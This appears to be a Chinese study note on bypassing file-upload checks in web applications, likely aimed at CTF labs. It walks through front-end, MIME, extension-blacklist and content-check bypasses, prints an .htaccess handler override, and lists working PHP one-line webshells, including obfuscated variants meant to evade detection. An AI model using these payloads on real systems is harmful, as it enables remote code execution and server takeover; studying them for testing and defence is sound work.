upload

upload

前端的javascript检测

该类检测代码直接写在网页中,一般提交后,立即有弹窗提示禁止上传,就可以判断为前端检测,或者直接右键查看页面源代码也能看到javascript的检测代码

一般的检测手段:文件后缀名检测,文件大小检测

一般的绕过方法:
1禁用前端的javascript检测
可以直接将浏览器上的javascript 按键关闭,如果使用的是 Chrome ,firefox浏览器的话可以下载一个插件 Noscript 随时禁止js
2直接F12,修改页面中的js检测代码
3用burp suite进行中间修改:
先写一个一句话木马shell.php,先将文件名修改为允许上传的后缀名(png,gif,jpg),然后再使用burp suite截取数据包,将后缀名修改为 php

服务端的MIME检测

根据文件的后缀名决定的,一般有这几种:

text/html : HTML格式
text/plain :纯文本格式
text/xml : XML格式
image/gif :gif图片格式
image/jpeg :jpg图片格式
image/png:png图片格式
application/xhtml+xml :XHTML格式
application/xml: XML数据格式
application/atom+xml :Atom XML聚合格式
application/json: JSON数据格式
application/pdf:pdf格式
application/msword : Word文档格式
application/octet-stream : 二进制流数据(如常见的文件下载)
一般的绕过方法:

1修改multipart/form-data,
一般文件上传是不会对 headers中的 content-type做限制,因为上传文件的时候它只会是 multipart/form-data或者Multipart/form-data,但不排除特殊情况,

2修改content-type
一般是利用burp suite进行抓包,然后修改Content-Type为image/png,image/jpeg,image/gif

服务端的文件后缀名检测:

一般的检测手段:
黑名单过滤:黑名单的安全性比白名单低很多,服务器端,一般会有个专门的blacklist文件,里面会包含常见的危险脚本文件类型
白名单过滤:仅允许指定的文件类型上传,比如仅允许上传jpg | gif | doc | pdf等类型的文件,其他文件全部禁止

黑名单:

1,大小写绕过

也可以叫做 列表穷举绕过,原理的是使用 黑名单中不存在并且能正常解析的有害的文件名,如Php,PHp5,等,有时还会忘记一个特别重要的文件后缀 htaccess
(可使用爆破快速的检测出到底哪些 文件后缀被过滤了,哪些没有)

2,特殊文件(.htaccess文件.user.ini文件)的绕过

.htaccess文件
如果发现可以上传.htaccess文件的情况,该文件仅在Apache平台上存在,IIS平台上不存在该文件,该文件默认开启,启用和关闭在httpd.conf文件中配置。该文件的写法如下:

1
2
3
<FilesMatch "shell.png">
SetHandler application/x-httpd-php
</FilesMatch>

保存为.htaccess文件。该文件的意思是,只要遇到文件名中包含有”_php.gif”字符串的,统一按照php文件来执行。
.user.ini文件
php 配置项中有两个配置可以起到一些作用

1
2
auto_prepend_file = <filename>         //包含在文件头
auto_append_file = <filename> //包含在文件尾

.user.ini 使用范围很广,不仅限于 Apache 服务器,同样适用于 Nginx 服务器,只要服务器启用了 fastcgi 模式 (通常非线程安全模式使用的就是 fastcgi 模式)

局限
在.user.ini 中使用这条配置的使用也说了是在同目录下的其他.php 文件中包含配置中所指定的文件,也就是说需要该目录下存在.php 文件,通常在文件上传中,一般是专门有一个目录用来存在图片,可能小概率会存在.php 文件。

但是有时可以使用 ../ 来将文件上传到其他目录,达到一个利用的效果

3,截断(0x00)绕过

最常见的截断绕或要数 00 截断了,但是这种情况有很大的局限性,只有在 PHP 版本小于5.3.4 且 magic_quotes_gpc=Off时

1
2
3
4
Name = getname(http requests)//假如这一步获取到的文件名是dama.asp .jpg
Type = gettype(name)//而在该函数中,是从后往前扫描文件扩展名,所以判断为jpg文件
If(type == jpg)
SaveFileToPath(UploadPath.name , name)//但在这里却是以0x00作为文件名截断,最后以dama.asp存入路径里

(1)0x00截断:基于一个组合逻辑漏洞造成的,通常存在于构造上传文件路径的时候
  test.php(0x00).jpg
  test.php%00.jpg
  路径/upload/1.php(0x00),文件名1.jpg,结合/upload/1.php(0x00)/1.jpg

Burp抓包,将文件名改为dama.php%00.jpg,选中%00,进行url-decode

或者将文件命名为123.php.jpg再在 burp suite 的proxy下 的hex中将 php后面的. 的2e改为 00

4,利用系统特性绕过

在Windows系统中

1)大小写绕过

没有使用strtolower()函数,可以使用大小写绕过黑名单
把.php 格式改为 .Php 上传上去之后,就会自动解析为.php

2)空格绕过

没有使用trim()去除空格,可以使用空格绕过黑名单
抓包,修改上传一句话木马文件名zoe.php(注意这里有个空格)

3)点号绕过

没有使用deldot()过滤文件名末尾的点,可以使用文件名后加.进行绕过
抓包,修改上传一句话木马文件名zoe.php.(注意这里有个点)

4)特殊字符::$D A T A 绕过

这一关黑名单,没有对::$D A T A 进 行 处 理 , 可 以 使 用::$DATA进行绕过,

补充知识:php在window的时候如果文件名+”::$DATA“会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持”::$DATA“之前的文件名 他的目的就是不检查后缀名。

上传PHP一句话文件,抓包改后缀zoe.php::$DATA
然后使用蚁剑连接zoe.php (注意蚁剑连接路径不要加上::$DATA

5)后缀加点空格点绕过

上传路径直接使用文件名进行拼接,而且只对文件名进行file name=deldot(file_name)操作去除文件名末尾的点,构造后缀绕过黑名单

补充知识:deldot()函数从后向前检测,当检测到末尾的第一个点时会继续它的检测,但是遇到空格会停下来

上传zoe.php 然后用bp改后缀加点空格点(即文件名为zoe.php. .)

6)双写绕过

使用str_ireplace()函数寻找文件名中存在的黑名单字符串,将它替换成空(即将它删掉),可以使用双写绕过黑名单

补充知识:str_ireplace(find,replace,string,count) 函数替换字符串中的一些字符(不区分大小写)

上传zoe.php 然后用bp改后缀为.pphphp使用蚁剑连接zoe.php
在Linux系统中,可以尝试上传名为 index.php/. 或 ./aa/../index.php/. 的文件

5,Web Server解析漏洞绕过

白名单:

1,截断(0x00)绕过

跟黑名单的截断绕过一样,详情参考黑名单的截断绕过

2,Web Server解析漏洞绕过

跟黑名单的解析漏洞一样

服务端的文件内容的检测:

木马构造(绕过文件内容检测)

1一般的马儿:

1
<?php eval($_POST['cmd']);?>

2没有PHP的马儿

1
2
3
4
5
<?= eval($_POST['cmd']);?>

<? eval($_POST['cmd']);?>

<% eval($_POST['cmd']);%>

3有PHP的马儿

1
<script language="php">eval($_POST['shell']);</script>

4特殊马儿: 过滤[]:用{}代替

1
2
3
4
5
6
<?= eval($_POST{'cmd'});?>
直接拿flag的变形马儿

<? echo `tac /var/www/html/f\*`;?>

<? echo `tac /var/www/html/f\*`?>

5免杀马儿:
1
2
3
4
5
6
7
8
9
10
<?php $a = "s#y#s#t#e#m";

$b = explode("#",$a);

$c = $b[0].$b[1].$b[2].$b[3].$b[4].$b[5];

$c($_REQUEST[1]);
?>

<?php $a=substr('1s',1).'ystem'; $a($_REQUEST[1]); ?>


upload
http://example.com/2023/04/19/web学习/upload文件上传/upload/
作者
Englobe
发布于
2023年4月19日
许可协议